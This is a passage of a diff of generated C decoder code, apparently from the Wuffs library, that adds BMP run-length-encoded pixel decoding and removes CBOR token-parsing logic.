self->private_data.f_scratch[v_p0] = v_code; ++ v_p0 += 1u; ++ } ++ } else { ++ v_indexes[0u] = ((uint8_t)(((uint8_t)(v_code >> 4u)))); ++ v_indexes[1u] = ((uint8_t)(v_code & 15u)); ++ v_p0 = 0u; ++ while (v_p0 < self->private_impl.f_rle_length) { ++ self->private_data.f_scratch[(v_p0 + 0u)] = v_indexes[0u]; ++ self->private_data.f_scratch[(v_p0 + 1u)] = v_indexes[1u]; ++ v_p0 += 2u; ++ } ++ } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_rle_length)); ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, self->private_impl.f_rle_length); ++ v_rle_state = 0u; ++ goto label__middle__continue; ++ } else if (v_rle_state == 2u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { ++ break; ++ } ++ v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ if (v_code < 2u) { ++ if ((self->private_impl.f_dst_y >= self->private_impl.f_height) && (v_code == 0u)) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); + goto exit; + } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_dst, v_dst_palette, 18446744073709551615u); ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; ++ if (v_code > 0u) { ++ goto label__outer__break; ++ } ++ v_rle_state = 0u; + goto label__outer__continue; ++ } else if (v_code == 2u) { ++ v_rle_state = 4u; ++ continue; + } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if ((v_indefinite_string_major_type != 0u) && (v_indefinite_string_major_type != (v_c >> 5u))) { +- if (v_c != 255u) { +- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); +- goto exit; ++ self->private_impl.f_rle_length = ((uint32_t)(v_code)); ++ self->private_impl.f_rle_padded = ((self->private_impl.f_bits_per_pixel == 8u) && (((uint8_t)(v_code & 1u)) != 0u)); ++ v_rle_state = 3u; ++ continue; ++ } else if (v_rle_state == 3u) { ++ if (self->private_impl.f_bits_per_pixel == 8u) { ++ v_n = wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( ++ &self->private_impl.f_swizzler, ++ self->private_impl.f_rle_length, ++ v_dst, ++ v_dst_palette, ++ &iop_a_src, ++ io2_a_src); ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_rle_length, ((uint32_t)(v_n))); ++ } else { ++ v_chunk_count = ((self->private_impl.f_rle_length + 3u) / 4u); ++ v_p0 = 0u; ++ while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 2u)) { ++ v_chunk_bits = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2u; ++ self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((15u & (v_chunk_bits >> 12u)))); ++ self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((15u & (v_chunk_bits >> 8u)))); ++ self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((15u & (v_chunk_bits >> 4u)))); ++ self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((15u & (v_chunk_bits >> 0u)))); ++ v_p0 = ((v_p0 & 255u) + 4u); ++ v_chunk_count -= 1u; + } +- v_vminor = 4194560u; +- if (v_indefinite_string_major_type == 3u) { +- v_vminor |= 19u; ++ v_p0 = wuffs_base__u32__min(v_p0, self->private_impl.f_rle_length); ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, v_p0)); ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, v_p0); ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_rle_length, v_p0); ++ } ++ if (self->private_impl.f_rle_length > 0u) { ++ break; ++ } ++ if (self->private_impl.f_rle_padded) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { ++ break; + } +- v_indefinite_string_major_type = 0u; + iop_a_src += 1u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; ++ self->private_impl.f_rle_padded = false; ++ } ++ v_rle_state = 0u; ++ goto label__middle__continue; ++ } else if (v_rle_state == 4u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { ++ break; + } ++ self->private_impl.f_rle_delta_x = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); + iop_a_src += 1u; +- v_c_major = ((uint8_t)((v_c >> 5u))); +- v_c_minor = (v_c & 31u); +- if (v_c_minor < 24u) { +- v_string_length = ((uint64_t)(v_c_minor)); +- } else { +- while (true) { +- if (v_c_minor == 24u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= 1u) { +- v_string_length = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); +- iop_a_src += 1u; +- break; +- } +- } else if (v_c_minor == 25u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= 2u) { +- v_string_length = ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); +- iop_a_src += 2u; +- break; +- } +- } else if (v_c_minor == 26u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { +- v_string_length = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4u; +- break; +- } +- } else if (v_c_minor == 27u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= 8u) { +- v_string_length = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); +- iop_a_src += 8u; +- break; +- } +- } else { +- v_string_length = 0u; +- break; +- } +- if (iop_a_src > io1_a_src) { +- iop_a_src--; +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- goto label__outer__continue; +- } +- status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); +- goto exit; +- } ++ v_rle_state = 5u; ++ continue; ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { ++ break; ++ } ++ v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ if (self->private_impl.f_rle_delta_x > 0u) { ++ wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_dst, v_dst_palette, ((uint64_t)(self->private_impl.f_rle_delta_x))); ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(self->private_impl.f_rle_delta_x))); ++ self->private_impl.f_rle_delta_x = 0u; ++ if (self->private_impl.f_dst_x > self->private_impl.f_width) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); ++ goto exit; + } +- if (v_c_major == 0u) { +- if (v_c_minor < 26u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((14680064u | ((uint32_t)((v_string_length & 65535u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } else if (v_c_minor < 28u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((14680064u | ((uint32_t)((v_string_length >> 46u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- *iop_a_dst++ = wuffs_base__make_token( +- (~(v_string_length & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } +- } else if (v_c_major == 1u) { +- if (v_c_minor < 26u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((12582912u | (2097151u - ((uint32_t)((v_string_length & 65535u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } else if (v_c_minor < 28u) { +- if (v_string_length < 9223372036854775808u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((12582912u | (2097151u - ((uint32_t)((v_string_length >> 46u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- *iop_a_dst++ = wuffs_base__make_token( +- (~((18446744073709551615u - v_string_length) & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } else { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | +- (((uint64_t)(16777216u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(9u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } +- goto label__goto_parsed_a_leaf_value__break; +- } +- } else if (v_c_major == 2u) { +- if (v_c_minor < 28u) { +- if (v_string_length == 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } else if (v_c_minor == 31u) { +- if (v_indefinite_string_major_type != 0u) { +- break; +- } +- v_indefinite_string_major_type = 2u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__outer__continue; +- } else { +- break; +- } +- while (true) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); +- continue; +- } +- v_n64 = wuffs_base__u64__min(v_string_length, ((uint64_t)(io2_a_src - iop_a_src))); +- v_token_length = ((uint32_t)((v_n64 & 65535u))); +- if (v_n64 > 65535u) { +- v_token_length = 65535u; +- } else if (v_token_length <= 0u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); +- continue; +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) < ((uint64_t)(v_token_length))) { +- status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_token_length); +- goto exit; +- } +- v_string_length -= ((uint64_t)(v_token_length)); +- v_continued = 0u; +- if ((v_string_length > 0u) || (v_indefinite_string_major_type > 0u)) { +- v_continued = 1u; +- } +- iop_a_src += v_token_length; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194816u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_continued)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_token_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (v_string_length > 0u) { +- continue; +- } else if (v_indefinite_string_major_type > 0u) { +- goto label__outer__continue; +- } +- goto label__goto_parsed_a_leaf_value__break; +- } +- } else if (v_c_major == 3u) { +- if (v_c_minor < 28u) { +- if (v_string_length == 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } else if (v_c_minor == 31u) { +- if (v_indefinite_string_major_type != 0u) { +- break; +- } +- v_indefinite_string_major_type = 3u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__outer__continue; +- } else { +- break; +- } +- while (true) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); +- continue; +- } +- v_n64 = wuffs_base__u64__min(v_string_length, 65535u); +- v_n64 = ((uint64_t)(wuffs_base__utf_8__longest_valid_prefix(iop_a_src, +- ((size_t)(wuffs_base__u64__min(((uint64_t)(io2_a_src - iop_a_src)), v_n64)))))); +- v_token_length = ((uint32_t)((v_n64 & 65535u))); +- if (v_token_length <= 0u) { +- if ((a_src && a_src->meta.closed) || (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { +- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); +- continue; +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) < ((uint64_t)(v_token_length))) { +- status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_token_length); +- goto exit; +- } +- v_string_length -= ((uint64_t)(v_token_length)); +- v_continued = 0u; +- if ((v_string_length > 0u) || (v_indefinite_string_major_type > 0u)) { +- v_continued = 1u; +- } +- iop_a_src += v_token_length; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_continued)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_token_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (v_string_length > 0u) { +- continue; +- } else if (v_indefinite_string_major_type > 0u) { +- goto label__outer__continue; +- } +- goto label__goto_parsed_a_leaf_value__break; +- } +- } else if (v_c_major == 4u) { +- if (WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor] == 0u) { +- break; +- } else if (v_depth >= 1024u) { +- v_token_length = ((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])); +- while ((v_token_length > 0u) && (iop_a_src > io1_a_src)) { +- iop_a_src--; +- v_token_length -= 1u; +- } +- status = wuffs_base__make_status(wuffs_cbor__error__unsupported_recursion_depth); +- goto exit; +- } +- v_vminor = 2105361u; +- v_vminor_alt = 2101282u; +- if (v_depth > 0u) { +- v_stack_byte = ((v_depth - 1u) / 16u); +- v_stack_bit = (((v_depth - 1u) & 15u) * 2u); +- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { +- v_vminor = 2105377u; +- v_vminor_alt = 2105378u; +- } else { +- v_vminor = 2105409u; +- v_vminor_alt = 2113570u; +- } +- } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (v_c_minor == 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } +- v_stack_byte = (v_depth / 16u); +- v_stack_bit = ((v_depth & 15u) * 2u); +- self->private_data.f_stack[v_stack_byte] &= (4294967295u ^ (((uint32_t)(3u)) << v_stack_bit)); +- self->private_data.f_container_num_remaining[v_depth] = v_string_length; +- v_depth += 1u; +- v_tagged = false; +- goto label__outer__continue; +- } else if (v_c_major == 5u) { +- if (WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor] == 0u) { +- break; +- } else if (v_depth >= 1024u) { +- v_token_length = ((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])); +- while ((v_token_length > 0u) && (iop_a_src > io1_a_src)) { +- iop_a_src--; +- v_token_length -= 1u; +- } +- status = wuffs_base__make_status(wuffs_cbor__error__unsupported_recursion_depth); ++ } ++ if (v_code > 0u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_code -= 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ while (true) { ++ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; ++ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); + goto exit; + } +- v_vminor = 2113553u; +- v_vminor_alt = 2101314u; +- if (v_depth > 0u) { +- v_stack_byte = ((v_depth - 1u) / 16u); +- v_stack_bit = (((v_depth - 1u) & 15u) * 2u); +- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { +- v_vminor = 2113569u; +- v_vminor_alt = 2105410u; +- } else { +- v_vminor = 2113601u; +- v_vminor_alt = 2113602u; +- } +- } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (v_c_minor == 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; ++ v_row = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { ++ v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); + } +- v_stack_byte = (v_depth / 16u); +- v_stack_bit = ((v_depth & 15u) * 2u); +- self->private_data.f_stack[v_stack_byte] |= (((uint32_t)(3u)) << v_stack_bit); +- self->private_data.f_container_num_remaining[v_depth] = v_string_length; +- v_depth += 1u; +- v_tagged = false; +- goto label__outer__continue; +- } else if (v_c_major == 6u) { +- if (v_c_minor >= 28u) { ++ if (v_code <= 0u) { ++ wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, ((uint64_t)(self->private_impl.f_dst_x))); + break; + } +- if (v_string_length < 262144u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | +- (((uint64_t)((4194304u | ((uint32_t)(v_string_length))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } else { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | +- (((uint64_t)((4194304u | ((uint32_t)((v_string_length >> 46u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- *iop_a_dst++ = wuffs_base__make_token( +- (~(v_string_length & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } +- v_tagged = true; +- goto label__outer__continue; +- } else if (v_c_major == 7u) { +- if (v_c_minor < 20u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | +- (((uint64_t)((8388608u | ((uint32_t)((v_string_length & 255u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } else if (v_c_minor < 24u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(WUFFS_CBOR__LITERALS[(v_c_minor & 3u)])) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } else if (v_c_minor == 24u) { +- if (v_string_length < 24u) { +- if ( ! (iop_a_src > io1_a_src)) { +- status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- iop_a_src--; +- break; +- } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | +- (((uint64_t)((8388608u | ((uint32_t)((v_string_length & 255u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } else if (v_c_minor < 28u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(10490113u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } else if (v_c_minor == 31u) { +- if (v_tagged || (v_depth <= 0u)) { +- break; +- } +- v_depth -= 1u; +- if (self->private_data.f_container_num_remaining[v_depth] != 0u) { +- break; +- } +- v_stack_byte = (v_depth / 16u); +- v_stack_bit = ((v_depth & 15u) * 2u); +- v_stack_val = (3u & (self->private_data.f_stack[v_stack_byte] >> v_stack_bit)); +- if (v_stack_val == 1u) { +- break; +- } +- if (v_stack_val != 3u) { +- v_vminor_alt = 2097186u; +- } else { +- v_vminor_alt = 2097218u; +- } +- if (v_depth <= 0u) { +- v_vminor_alt |= 4096u; +- } else { +- v_stack_byte = ((v_depth - 1u) / 16u); +- v_stack_bit = (((v_depth - 1u) & 15u) * 2u); +- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { +- v_vminor_alt |= 8192u; +- } else { +- v_vminor_alt |= 16384u; +- } +- } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } +- } +- } while (0); +- if (iop_a_src > io1_a_src) { +- iop_a_src--; +- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- label__goto_parsed_a_leaf_value__break:; +- v_tagged = false; +- while (v_depth > 0u) { +- v_stack_byte = ((v_depth - 1u) / 16u); +- v_stack_bit = (((v_depth - 1u) & 15u) * 2u); +- self->private_data.f_stack[v_stack_byte] ^= (((uint32_t)(1u)) << (v_stack_bit + 1u)); +- if (1u == (3u & (self->private_data.f_stack[v_stack_byte] >> v_stack_bit))) { +- goto label__outer__continue; +- } +- if (self->private_data.f_container_num_remaining[(v_depth - 1u)] <= 0u) { +- goto label__outer__continue; +- } +- self->private_data.f_container_num_remaining[(v_depth - 1u)] -= 1u; +- if (self->private_data.f_container_num_remaining[(v_depth - 1u)] > 0u) { +- goto label__outer__continue; +- } +- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); +- continue; +- } +- v_depth -= 1u; +- v_stack_byte = (v_depth / 16u); +- v_stack_bit = ((v_depth & 15u) * 2u); +- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { +- v_vminor_alt = 2097186u; +- } else { +- v_vminor_alt = 2097218u; +- } +- if (v_depth <= 0u) { +- v_vminor_alt |= 4096u; +- } else { +- v_stack_byte = ((v_depth - 1u) / 16u); +- v_stack_bit = (((v_depth - 1u) & 15u) * 2u); +- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { +- v_vminor_alt |= 8192u; +- } else { +- v_vminor_alt |= 16384u; ++ wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, 18446744073709551615u); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_code -= 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif + } + } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_rle_state = 0u; ++ goto label__middle__continue; + } +- break; ++ self->private_impl.f_rle_state = v_rle_state; ++ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); ++ goto ok; + } +- self->private_impl.f_end_of_data = true; +- +- ok: +- self->private_impl.p_decode_tokens[0] = 0; +- goto exit; + } ++ label__outer__break:; ++ while (self->private_impl.f_dst_y < self->private_impl.f_height) { ++ v_row = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { ++ v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); ++ } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, 18446744073709551615u); ++ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; ++ } ++ status = wuffs_base__make_status(NULL); ++ goto ok; + +- goto suspend; +- suspend: +- self->private_impl.p_decode_tokens[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; +- self->private_data.s_decode_tokens[0].v_string_length = v_string_length; +- 